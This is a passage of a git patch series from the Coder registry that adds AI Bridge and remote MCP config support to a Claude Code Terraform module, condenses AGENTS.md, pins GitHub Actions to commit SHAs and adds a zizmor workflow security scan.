From 2e8870bcee3a6466afee5428add68db1c44f2f48 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Mon, 19 Jan 2026 21:53:41 +0530 Subject: [PATCH 01/33] feat(coder/modules/claude-code): add support for aibridge (#657) ## Description - Add support for AI Bridge ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code` **New version:** `v4.5.0` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: #649 --------- Co-authored-by: Atif Ali Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- registry/coder/modules/claude-code/README.md | 83 ++++++++++++----- registry/coder/modules/claude-code/main.tf | 27 +++++- .../coder/modules/claude-code/main.tftest.hcl | 93 ++++++++++++++++++- .../modules/claude-code/scripts/install.sh | 9 +- 4 files changed, 184 insertions(+), 28 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index ce7810a8..eff7dfdd 100644 --- a/registry/coder/modules/claude-code/README.md +++ b/registry/coder/modules/claude-code/README.md @@ -3,7 +3,7 @@ display_name: Claude Code description: Run the Claude Code agent in your workspace. icon: ../../../../.icons/claude.svg verified: true -tags: [agent, claude-code, ai, tasks, anthropic] +tags: [agent, claude-code, ai, tasks, anthropic, aibridge] --- # Claude Code @@ -13,7 +13,7 @@ Run the [Claude Code](https://docs.anthropic.com/en/docs/agents-and-tools/claude ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_api_key = "xxxx-xxxxx-xxxx" @@ -45,7 +45,7 @@ This example shows how to configure the Claude Code module to run the agent behi ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" enable_boundary = true @@ -53,25 +53,68 @@ module "claude-code" { } ``` -### Usage with Tasks and Advanced Configuration +### Usage with AI Bridge -This example shows how to configure the Claude Code module with an AI prompt, API key shared by all users of the template, and other custom settings. +[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. + +For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below. + +#### Standalone usage with AI Bridge + +```tf +module "claude-code" { + source = "registry.coder.com/coder/claude-code/coder" + version = "4.5.0" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + enable_aibridge = true +} +``` + +When `enable_aibridge = true`, the module automatically sets: + +- `ANTHROPIC_BASE_URL` to `${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic` +- `CLAUDE_API_KEY` to the workspace owner's session token + +This allows Claude Code to route API requests through Coder's AI Bridge instead of directly to Anthropic's API. +Template build will fail if either `claude_api_key` or `claude_code_oauth_token` is provided alongside `enable_aibridge = true`. + +### Usage with Tasks + +This example shows how to configure Claude Code with Coder tasks. + +```tf +resource "coder_ai_task" "task" { + count = data.coder_workspace.me.start_count + app_id = module.claude-code.task_app_id +} + +data "coder_task" "me" {} + +module "claude-code" { + source = "registry.coder.com/coder/claude-code/coder" + version = "4.5.0" + agent_id = coder_agent.main.id + workdir = "/home/coder/project" + claude_api_key = "xxxx-xxxxx-xxxx" + ai_prompt = data.coder_task.me.prompt + + # Optional: route through AI Bridge (Premium feature) + # enable_aibridge = true +} +``` + +### Advanced Configuration + +This example shows additional configuration options for version pinning, custom models, and MCP servers. > [!NOTE] > When a specific `claude_code_version` (other than "latest") is provided, the module will install Claude Code via npm instead of the official installer. This allows for version pinning. The `claude_binary_path` variable can be used to specify where a pre-installed Claude binary is located. ```tf -data "coder_parameter" "ai_prompt" { - type = "string" - name = "AI Prompt" - default = "" - description = "Initial task prompt for Claude Code." - mutable = true -} - module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" @@ -83,9 +126,7 @@ module "claude-code" { claude_binary_path = "/opt/claude/bin" # Path to pre-installed Claude binary agentapi_version = "0.11.4" - ai_prompt = data.coder_parameter.ai_prompt.value - model = "sonnet" - + model = "sonnet" permission_mode = "plan" mcp = <<-EOF @@ -108,7 +149,7 @@ Run and configure Claude Code as a standalone CLI in your workspace. ```tf module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" install_claude_code = true @@ -130,7 +171,7 @@ variable "claude_code_oauth_token" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" claude_code_oauth_token = var.claude_code_oauth_token @@ -203,7 +244,7 @@ resource "coder_env" "bedrock_api_key" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "global.anthropic.claude-sonnet-4-5-20250929-v1:0" @@ -260,7 +301,7 @@ resource "coder_env" "google_application_credentials" { module "claude-code" { source = "registry.coder.com/coder/claude-code/coder" - version = "4.4.2" + version = "4.5.0" agent_id = coder_agent.main.id workdir = "/home/coder/project" model = "claude-sonnet-4@20250514" diff --git a/registry/coder/modules/claude-code/main.tf b/registry/coder/modules/claude-code/main.tf index d0681af6..dd540279 100644 --- a/registry/coder/modules/claude-code/main.tf +++ b/registry/coder/modules/claude-code/main.tf @@ -228,6 +228,22 @@ variable "compile_boundary_from_source" { default = false } +variable "enable_aibridge" { + type = bool + description = "Use AI Bridge for Claude Code. https://coder.com/docs/ai-coder/ai-bridge" + default = false + + validation { + condition = !(var.enable_aibridge && length(var.claude_api_key) > 0) + error_message = "claude_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials." + } + + validation { + condition = !(var.enable_aibridge && length(var.claude_code_oauth_token) > 0) + error_message = "claude_code_oauth_token cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials." + } +} + resource "coder_env" "claude_code_md_path" { count = var.claude_md_path == "" ? 0 : 1 agent_id = var.agent_id @@ -248,10 +264,9 @@ resource "coder_env" "claude_code_oauth_token" { } resource "coder_env" "claude_api_key" { - count = length(var.claude_api_key) > 0 ? 1 : 0 agent_id = var.agent_id name = "CLAUDE_API_KEY" - value = var.claude_api_key + value = var.enable_aibridge ? data.coder_workspace_owner.me.session_token : var.claude_api_key } resource "coder_env" "disable_autoupdater" { @@ -281,6 +296,13 @@ resource "coder_env" "anthropic_model" { value = var.model } +resource "coder_env" "anthropic_base_url" { + count = var.enable_aibridge ? 1 : 0 + agent_id = var.agent_id + name = "ANTHROPIC_BASE_URL" + value = "${data.coder_workspace.me.access_url}/api/v2/aibridge/anthropic" +} + locals { # we have to trim the slash because otherwise coder exp mcp will # set up an invalid claude config @@ -382,6 +404,7 @@ module "agentapi" { ARG_ALLOWED_TOOLS='${var.allowed_tools}' \ ARG_DISALLOWED_TOOLS='${var.disallowed_tools}' \ ARG_MCP='${var.mcp != null ? base64encode(replace(var.mcp, "'", "'\\''")) : ""}' \ + ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \ /tmp/install.sh EOT } diff --git a/registry/coder/modules/claude-code/main.tftest.hcl b/registry/coder/modules/claude-code/main.tftest.hcl index dd9e66a6..55106170 100644 --- a/registry/coder/modules/claude-code/main.tftest.hcl +++ b/registry/coder/modules/claude-code/main.tftest.hcl @@ -42,7 +42,7 @@ run "test_claude_code_with_api_key" { } assert { - condition = coder_env.claude_api_key[0].value == "test-api-key-123" + condition = coder_env.claude_api_key.value == "test-api-key-123" error_message = "Claude API key value should match the input" } } @@ -288,3 +288,94 @@ run "test_claude_report_tasks_disabled" { error_message = "System prompt should end with " } } + +run "test_aibridge_enabled" { + command = plan + + variables { + agent_id = "test-agent-aibridge" + workdir = "/home/coder/aibridge" + enable_aibridge = true + } + + assert { + condition = var.enable_aibridge == true + error_message = "AI Bridge should be enabled" + } + + assert { + condition = coder_env.anthropic_base_url[0].name == "ANTHROPIC_BASE_URL" + error_message = "ANTHROPIC_BASE_URL environment variable should be set" + } + + assert { + condition = length(regexall("/api/v2/aibridge/anthropic", coder_env.anthropic_base_url[0].value)) > 0 + error_message = "ANTHROPIC_BASE_URL should point to AI Bridge endpoint" + } + + assert { + condition = coder_env.claude_api_key.name == "CLAUDE_API_KEY" + error_message = "CLAUDE_API_KEY environment variable should be set" + } + + assert { + condition = coder_env.claude_api_key.value == data.coder_workspace_owner.me.session_token + error_message = "CLAUDE_API_KEY should use workspace owner's session token when aibridge is enabled" + } +} + +run "test_aibridge_validation_with_api_key" { + command = plan + + variables { + agent_id = "test-agent-validation" + workdir = "/home/coder/test" + enable_aibridge = true + claude_api_key = "test-api-key" + } + + expect_failures = [ + var.enable_aibridge, + ] +} + +run "test_aibridge_validation_with_oauth_token" { + command = plan + + variables { + agent_id = "test-agent-validation" + workdir = "/home/coder/test" + enable_aibridge = true + claude_code_oauth_token = "test-oauth-token" + } + + expect_failures = [ + var.enable_aibridge, + ] +} + +run "test_aibridge_disabled_with_api_key" { + command = plan + + variables { + agent_id = "test-agent-no-aibridge" + workdir = "/home/coder/test" + enable_aibridge = false + claude_api_key = "test-api-key-xyz" + } + + assert { + condition = var.enable_aibridge == false + error_message = "AI Bridge should be disabled" + } + + assert { + condition = coder_env.claude_api_key.value == "test-api-key-xyz" + error_message = "CLAUDE_API_KEY should use the provided API key when aibridge is disabled" + } + + assert { + condition = length(coder_env.anthropic_base_url) == 0 + error_message = "ANTHROPIC_BASE_URL should not be set when aibridge is disabled" + } +} diff --git a/registry/coder/modules/claude-code/scripts/install.sh b/registry/coder/modules/claude-code/scripts/install.sh index 5b9584cb..07e199c1 100644 --- a/registry/coder/modules/claude-code/scripts/install.sh +++ b/registry/coder/modules/claude-code/scripts/install.sh @@ -18,6 +18,7 @@ ARG_MCP_APP_STATUS_SLUG=${ARG_MCP_APP_STATUS_SLUG:-} ARG_MCP=$(echo -n "${ARG_MCP:-}" | base64 -d) ARG_ALLOWED_TOOLS=${ARG_ALLOWED_TOOLS:-} ARG_DISALLOWED_TOOLS=${ARG_DISALLOWED_TOOLS:-} +ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false} echo "--------------------------------" @@ -31,6 +32,7 @@ printf "ARG_MCP_APP_STATUS_SLUG: %s\n" "$ARG_MCP_APP_STATUS_SLUG" printf "ARG_MCP: %s\n" "$ARG_MCP" printf "ARG_ALLOWED_TOOLS: %s\n" "$ARG_ALLOWED_TOOLS" printf "ARG_DISALLOWED_TOOLS: %s\n" "$ARG_DISALLOWED_TOOLS" +printf "ARG_ENABLE_AIBRIDGE: %s\n" "$ARG_ENABLE_AIBRIDGE" echo "--------------------------------" @@ -133,8 +135,8 @@ function setup_claude_configurations() { function configure_standalone_mode() { echo "Configuring Claude Code for standalone mode..." - if [ -z "${CLAUDE_API_KEY:-}" ]; then - echo "Note: CLAUDE_API_KEY not set, skipping authentication setup" + if [ -z "${CLAUDE_API_KEY:-}" ] && [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then + echo "Note: Neither claude_api_key nor enable_aibridge is set, skipping authentication setup" return fi @@ -147,8 +149,7 @@ function configure_standalone_mode() { if [ -f "$claude_config" ]; then echo "Updating existing Claude configuration at $claude_config" - jq --arg apikey "${CLAUDE_API_KEY:-}" \ - --arg workdir "$ARG_WORKDIR" \ + jq --arg workdir "$ARG_WORKDIR" --arg apikey "${CLAUDE_API_KEY:-}" \ '.autoUpdaterStatus = "disabled" | .bypassPermissionsModeAccepted = true | .hasAcknowledgedCostThreshold = true | From d21f55a322df8e6e03ca0e4e2d4ae9d4339d1a7d Mon Sep 17 00:00:00 2001 From: Atif Ali Date: Tue, 20 Jan 2026 12:59:15 +0500 Subject: [PATCH 02/33] chore: update AGENTS.md with commands and PR review checklist (#663) ## Description Updates AGENTS.md to be more concise (~36 lines) while adding missing commands and a PR review checklist based on recent PR feedback. ## Changes - **Commands section**: Added `bun run tftest`, `bun run tstest`, single test commands, and version-bump script - **Structure section**: Added note that URLs must be relative (from #639) - **Code Style section**: Added `tf` vs `hcl` guidance and relative icon paths - **New PR Review Checklist**: Based on patterns from recent PRs including: - Version bumping requirements (#661, #617) - Breaking changes documentation (#636) - Graceful error handling in scripts (#658) - Diagnostic logging for tests (#643) - **AI attribution requirement**: PRs should note model/tool used ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [x] Documentation - [ ] Other --- Generated with [Amp](https://ampcode.com/threads/T-019bcb7e-2e92-76f2-a1aa-2023ecdb0763) using Claude Sonnet 4 --- AGENTS.md | 185 +++++++++--------------------------------------------- 1 file changed, 29 insertions(+), 156 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index bc69ef4a..42ac3ed2 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -1,168 +1,41 @@ # AGENTS.md -This file provides guidance to AI coding assistants when working with code in this repository. +Coder Registry: Terraform modules/templates for Coder workspaces under `registry/[namespace]/modules/` and `registry/[namespace]/templates/`. -## Project Overview - -The Coder Registry is a community-driven repository for Terraform modules and templates that extend Coder workspaces. It's organized with: - -- **Modules**: Individual components and tools (IDEs, auth integrations, dev tools) -- **Templates**: Complete workspace configurations for different platforms -- **Namespaces**: Each contributor has their own namespace under `/registry/[namespace]/` - -## Common Development Commands - -### Formatting +## Commands ```bash -bun run fmt # Format all code (Prettier + Terraform) -bun run fmt:ci # Check formatting (CI mode) +bun run fmt # Format code (Prettier + Terraform) - run before commits +bun run tftest # Run all Terraform tests +bun run tstest # Run all TypeScript tests +terraform init -upgrade && terraform test -verbose # Test single module (run from module dir) +bun test main.test.ts # Run single TS test (from module dir) +./scripts/terraform_validate.sh # Validate Terraform syntax +./scripts/new_module.sh ns/name # Create new module scaffold +.github/scripts/version-bump.sh patch | minor | major # Bump module version after changes ``` -### Testing +## Structure -```bash -# Test all modules with .tftest.hcl files -bun run test +- **Modules**: `registry/[ns]/modules/[name]/` with `main.tf`, `README.md` (YAML frontmatter), `.tftest.hcl` (required) +- **Templates**: `registry/[ns]/templates/[name]/` with `main.tf`, `README.md` +- **Validation**: `cmd/readmevalidation/` (Go) validates structure/frontmatter; URLs must be relative, not absolute -# Test specific module (from module directory) -terraform init -upgrade -terraform test -verbose +## Code Style -# Validate Terraform syntax -./scripts/terraform_validate.sh -``` +- Every module MUST have `.tftest.hcl` tests; optional `main.test.ts` for container/script tests +- README frontmatter: `display_name`, `description`, `icon`, `verified: false`, `tags` +- Use semantic versioning; bump version via script when modifying modules +- Docker tests require Linux or Colima/OrbStack (not Docker Desktop) +- Use `tf` (not `hcl`) for code blocks in README; use relative icon paths (e.g., `../../../../.icons/`) -### Module Creation +## PR Review Checklist -```bash -# Generate new module scaffold -./scripts/new_module.sh namespace/module-name -``` - -### TypeScript Testing & Setup - -The repository uses Bun for TypeScript testing with utilities: - -- `test/test.ts` - Testing utilities for container management and Terraform operations -- `setup.ts` - Test cleanup (removes .tfstate files and test containers) -- Container-based testing with Docker for module validation - -## Architecture & Organization - -### Directory Structure - -``` -registry/[namespace]/ -├── README.md # Contributor info with frontmatter -├── .images/ # Namespace avatar (avatar.png/svg) -├── modules/ # Individual components -│ └── [module]/ # Each module has main.tf, README.md, tests -└── templates/ # Complete workspace configs - └── [template]/ # Each template has main.tf, README.md -``` - -### Key Components - -**Module Structure**: Each module contains: - -- `main.tf` - Terraform implementation -- `README.md` - Documentation with YAML frontmatter -- `.tftest.hcl` - Terraform test files (required) -- `run.sh` - Optional startup script - -**Template Structure**: Each template contains: - -- `main.tf` - Complete Coder template configuration -- `README.md` - Documentation with YAML frontmatter -- Additional configs, scripts as needed - -### README Frontmatter Requirements - -All modules/templates require YAML frontmatter: - -```yaml ---- -display_name: "Module Name" -description: "Brief description" -icon: "../../../../.icons/tool.svg" -verified: false -tags: ["tag1", "tag2"] ---- -``` - -## Testing Requirements - -### Module Testing - -- Every module MUST have `.tftest.hcl` test files -- Optional `main.test.ts` files for container-based testing or complex business logic validation -- Tests use Docker containers with `--network=host` flag -- Linux required for testing (Docker Desktop on macOS/Windows won't work) -- Use Colima or OrbStack on macOS instead of Docker Desktop - -### Test Utilities - -The `test/test.ts` file provides: - -- `runTerraformApply()` - Execute Terraform with variables -- `executeScriptInContainer()` - Run coder_script resources in containers -- `testRequiredVariables()` - Validate required variables -- Container management functions - -## Validation & Quality - -### Automated Validation - -The Go validation tool (`cmd/readmevalidation/`) checks: - -- Repository structure integrity -- Contributor README files -- Module and template documentation -- Frontmatter format compliance - -### Versioning - -Use semantic versioning for modules: - -- **Patch** (1.2.3 → 1.2.4): Bug fixes -- **Minor** (1.2.3 → 1.3.0): New features, adding inputs -- **Major** (1.2.3 → 2.0.0): Breaking changes - -## Dependencies & Tools - -### Required Tools - -- **Terraform** - Module development and testing -- **Docker** - Container-based testing -- **Bun** - JavaScript runtime for formatting/scripts -- **Go 1.23+** - Validation tooling - -### Development Dependencies - -- Prettier with Terraform and shell plugins -- TypeScript for test utilities -- Various npm packages for documentation processing - -## Workflow Notes - -### Contributing Process - -1. Create namespace (first-time contributors) -2. Generate module/template files using scripts -3. Implement functionality and tests -4. Run formatting and validation -5. Submit PR with appropriate template - -### Testing Workflow - -- All modules must pass `terraform test` -- Use `bun run test` for comprehensive testing -- Format code with `bun run fmt` before submission -- Manual testing recommended for templates - -### Namespace Management - -- Each contributor gets unique namespace -- Namespace avatar required (avatar.png/svg in .images/) -- Namespace README with contributor info and frontmatter +- Version bumped via `.github/scripts/version-bump.sh` if module changed (patch=bugfix, minor=feature, major=breaking) +- Breaking changes documented: removed inputs, changed defaults, new required variables +- New variables have sensible defaults to maintain backward compatibility +- Tests pass (`bun run tftest`, `bun run tstest`); add diagnostic logging for test failures +- README examples updated with new version number; tooltip/behavior changes noted +- Shell scripts handle errors gracefully (use `|| echo "Warning..."` for non-fatal failures) +- No hardcoded values that should be configurable; no absolute URLs (use relative paths) +- If AI-assisted: include model and tool/agent name at footer of PR body (e.g., "Generated with [Amp](thread-url) using Claude") From ec57cb5c0f7c5d4382fd0ea337726ff91de5f684 Mon Sep 17 00:00:00 2001 From: Lukasz Date: Wed, 21 Jan 2026 11:42:10 +0100 Subject: [PATCH 03/33] CI: Pin GitHub Actions and fix zizmor high-severity findings (#667) ## Description This PR fixes zizmor --min-severity high findings in our GitHub Actions workflows by: - Pinning all uses: references to immutable commit SHAs (replaces floating tags like @v6 / @main). - Pinning internal Terraform setup action usage (coder/coder/.github/actions/setup-tf@main) to a fixed ref/commit. - Pinning crate-ci/typos to a commit SHA. - Removing GitHub expression template expansion inside a run: block in version-bump.yaml (prevents template injection flagged by zizmor). ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [x] Other ## Module Information N/A ## Template Information N/A ## Testing & Validation - [ ] Tests pass (`bun test`) - [ ] Code formatted (`bun fmt`) - [x] Changes tested locally - zizmor .github/workflows/* --min-severity high ## Related Issues - coder/registry#642 - https://github.com/coder/registry/pull/662 --- .../workflows/check_registry_site_health.yaml | 2 +- .github/workflows/ci.yaml | 20 +++++++++---------- .github/workflows/deploy-registry.yaml | 2 +- .github/workflows/golangci-lint.yml | 6 +++--- .github/workflows/release.yml | 6 +++--- .github/workflows/version-bump.yaml | 14 +++++++------ 6 files changed, 26 insertions(+), 24 deletions(-) diff --git a/.github/workflows/check_registry_site_health.yaml b/.github/workflows/check_registry_site_health.yaml index fe4a22a0..668237d1 100644 --- a/.github/workflows/check_registry_site_health.yaml +++ b/.github/workflows/check_registry_site_health.yaml @@ -11,7 +11,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 - name: Run check.sh run: | diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml index 37f29dd3..f7892d55 100644 --- a/.github/workflows/ci.yaml +++ b/.github/workflows/ci.yaml @@ -12,9 +12,9 @@ jobs: runs-on: ubuntu-latest steps: - name: Check out code - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 - name: Detect changed files - uses: dorny/paths-filter@v3 + uses: dorny/paths-filter@de90cc6fb38fc0963ad72b210f1f284cd68cea36 # v3 id: filter with: list-files: shell @@ -37,9 +37,9 @@ jobs: all: - '**' - name: Set up Terraform - uses: coder/coder/.github/actions/setup-tf@main + uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1 - name: Set up Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: # We're using the latest version of Bun for now, but it might be worth # reconsidering. They've pushed breaking changes in patch releases @@ -80,20 +80,20 @@ jobs: runs-on: ubuntu-latest steps: - name: Check out code - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 - name: Install Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: bun-version: latest # Need Terraform for its formatter - name: Install Terraform - uses: coder/coder/.github/actions/setup-tf@main + uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1 - name: Install dependencies run: bun install - name: Validate formatting run: bun fmt:ci - name: Check for typos - uses: crate-ci/typos@v1.42.0 + uses: crate-ci/typos@bb4666ad77b539a6b4ce4eda7ebb6de553704021 # v1.42.0 with: config: .github/typos.toml validate-readme-files: @@ -104,9 +104,9 @@ jobs: needs: validate-style steps: - name: Check out code - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 - name: Set up Go - uses: actions/setup-go@v6 + uses: actions/setup-go@4dc6199c7b1a012772edbd06daecab0f50c9053c # v6 with: go-version: "1.24.0" - name: Validate contributors diff --git a/.github/workflows/deploy-registry.yaml b/.github/workflows/deploy-registry.yaml index cd90656a..c3fed8ff 100644 --- a/.github/workflows/deploy-registry.yaml +++ b/.github/workflows/deploy-registry.yaml @@ -28,7 +28,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 - name: Authenticate with Google Cloud uses: google-github-actions/auth@7c6bc770dae815cd3e89ee6cdf493a5fab2cc093 with: diff --git a/.github/workflows/golangci-lint.yml b/.github/workflows/golangci-lint.yml index 5d58483f..3bf75710 100644 --- a/.github/workflows/golangci-lint.yml +++ b/.github/workflows/golangci-lint.yml @@ -14,11 +14,11 @@ jobs: name: lint runs-on: ubuntu-latest steps: - - uses: actions/checkout@v6 - - uses: actions/setup-go@v6 + - uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + - uses: actions/setup-go@4dc6199c7b1a012772edbd06daecab0f50c9053c # v6 with: go-version: stable - name: golangci-lint - uses: golangci/golangci-lint-action@v9 + uses: golangci/golangci-lint-action@1e7e51e771db61008b38414a730f564565cf7c20 # v9 with: version: v2.1 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 898613e5..38d6306a 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -14,7 +14,7 @@ jobs: steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 with: fetch-depth: 0 persist-credentials: false @@ -89,9 +89,9 @@ jobs: for sha in $MODULE_COMMIT_SHAS; do SHORT_SHA=${sha:0:7} - + COMMIT_LINES=$(echo "$FULL_CHANGELOG" | grep -E "$SHORT_SHA|$(git log --format='%s' -n 1 $sha)" || true) - + if [ -n "$COMMIT_LINES" ]; then FILTERED_CHANGELOG="${FILTERED_CHANGELOG}${COMMIT_LINES}\n" else diff --git a/.github/workflows/version-bump.yaml b/.github/workflows/version-bump.yaml index aff9e0a1..23b45d1a 100644 --- a/.github/workflows/version-bump.yaml +++ b/.github/workflows/version-bump.yaml @@ -20,26 +20,28 @@ jobs: issues: write steps: - name: Checkout code - uses: actions/checkout@v6 + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 with: fetch-depth: 0 token: ${{ secrets.GITHUB_TOKEN }} - name: Set up Bun - uses: oven-sh/setup-bun@v2 + uses: oven-sh/setup-bun@3d267786b128fe76c2f16a390aa2448b815359f3 # v2 with: bun-version: latest - name: Set up Terraform - uses: coder/coder/.github/actions/setup-tf@main + uses: coder/coder/.github/actions/setup-tf@59cdd7e21f4d7da12567c0c29964d298fbf38f27 # v2.29.1 - name: Install dependencies run: bun install - name: Extract bump type from label + env: + LABEL_NAME: ${{ github.event.label.name }} id: bump-type run: | - case "${{ github.event.label.name }}" in + case "$LABEL_NAME" in in "version:patch") echo "type=patch" >> $GITHUB_OUTPUT ;; @@ -50,7 +52,7 @@ jobs: echo "type=major" >> $GITHUB_OUTPUT ;; *) - echo "Invalid version label: ${{ github.event.label.name }}" + echo "Invalid version label: ${LABEL_NAME}" exit 1 ;; esac @@ -60,7 +62,7 @@ jobs: - name: Comment on PR - Version bump required if: failure() - uses: actions/github-script@v8 + uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0 with: github-token: ${{ secrets.GITHUB_TOKEN }} script: | From 01365fb61a4e87e64df734aa1062fe3620e53708 Mon Sep 17 00:00:00 2001 From: Lukasz Date: Wed, 21 Jan 2026 11:52:26 +0100 Subject: [PATCH 04/33] feat: add zizmor workflow checks for GitHub Actions (#662) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Description This PR adds a zizmor security scan to the CI pipeline to analyze new and existing GitHub Actions workflows under .github/workflows/. - Runs zizmor on PRs and fails the check when HIGH severity (or above) issues are found, so they can block merges. - Runs zizmor on main to produce security reporting (where applicable), keeping visibility into findings over time. - Intended to be added as a required status check so workflow-security regressions can’t land unnoticed. Reference: coder/registry#642 (comment) / zizmor-action ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [ ] Feature/enhancement - [ ] Documentation - [x] Other - CI / security tooling ## Testing & Validation - Validation via PR check - opened a test PR with a deliberately risky workflow and confirmed zizmor reports and blocks on HIGH findings ## Related Issues coder/registry#642 (comment) / zizmor-action --- .github/workflows/zizmor.yaml | 55 +++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) create mode 100644 .github/workflows/zizmor.yaml diff --git a/.github/workflows/zizmor.yaml b/.github/workflows/zizmor.yaml new file mode 100644 index 00000000..d759befa --- /dev/null +++ b/.github/workflows/zizmor.yaml @@ -0,0 +1,55 @@ +name: GitHub Actions Security Analysis (zizmor) + +on: + pull_request: + branches: ["**"] + paths: + - ".github/workflows/**" + push: + branches: ["main"] + paths: + - ".github/workflows/**" + workflow_dispatch: + +permissions: {} + +jobs: + zizmor_pr_blocking: + if: github.event_name == 'pull_request' + runs-on: ubuntu-latest + permissions: + contents: read + actions: read + steps: + - name: Checkout repository + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + with: + persist-credentials: false + + - name: Run zizmor (blocking, HIGH only) + uses: zizmorcore/zizmor-action@e639db99335bc9038abc0e066dfcd72e23d26fb4 # v0.3.0 + with: + advanced-security: false + annotations: true + min-severity: high + inputs: | + .github/workflows + + zizmor_main_sarif: + if: github.event_name != 'pull_request' + runs-on: ubuntu-latest + permissions: + security-events: write + contents: read + actions: read + steps: + - name: Checkout repository + uses: actions/checkout@1af3b93b6815bc44a9784bd300feb67ff0d1eeb3 # v6.0.0 + with: + persist-credentials: false + + - name: Run zizmor (SARIF) + uses: zizmorcore/zizmor-action@e639db99335bc9038abc0e066dfcd72e23d26fb4 # v0.3.0 + with: + inputs: | + .github/workflows From 01d6669708b3f4ad28cbd8206571705159e50e55 Mon Sep 17 00:00:00 2001 From: 35C4n0r <70096901+35C4n0r@users.noreply.github.com> Date: Wed, 21 Jan 2026 21:57:18 +0530 Subject: [PATCH 05/33] feat(coder/modules/claude-code): add support for MCP server configurations from remote URLs (#668) ## Description - add support for MCP server configurations from remote URLs ## Example ```json mcp_remote_urls = [ "https://gist.githubusercontent.com/35C4n0r/cd8dce70360e5d22a070ae21893caed4/raw/", "https://raw.githubusercontent.com/coder/coder/main/.mcp.json" ] ``` ## Type of Change - [ ] New module - [ ] New template - [ ] Bug fix - [x] Feature/enhancement - [ ] Documentation - [ ] Other ## Module Information **Path:** `registry/coder/modules/claude-code` **New version:** `v4.6.0` **Breaking change:** [ ] Yes [x] No ## Testing & Validation - [x] Tests pass (`bun test`) - [x] Code formatted (`bun fmt`) - [x] Changes tested locally ## Related Issues Closes: #665 --- registry/coder/modules/claude-code/README.md | 39 +++++++++++---- .../coder/modules/claude-code/main.test.ts | 50 +++++++++++++++++++ registry/coder/modules/claude-code/main.tf | 7 +++ .../modules/claude-code/scripts/install.sh | 41 ++++++++++++--- 4 files changed, 121 insertions(+), 16 deletions(-) diff --git a/registry/coder/modules/claude-code/README.md b/registry/coder/modules/claude-code/README.md index eff7dfdd..8e98a880 100644 --- a/registry/coder/modules/claude-code/README.md +++ 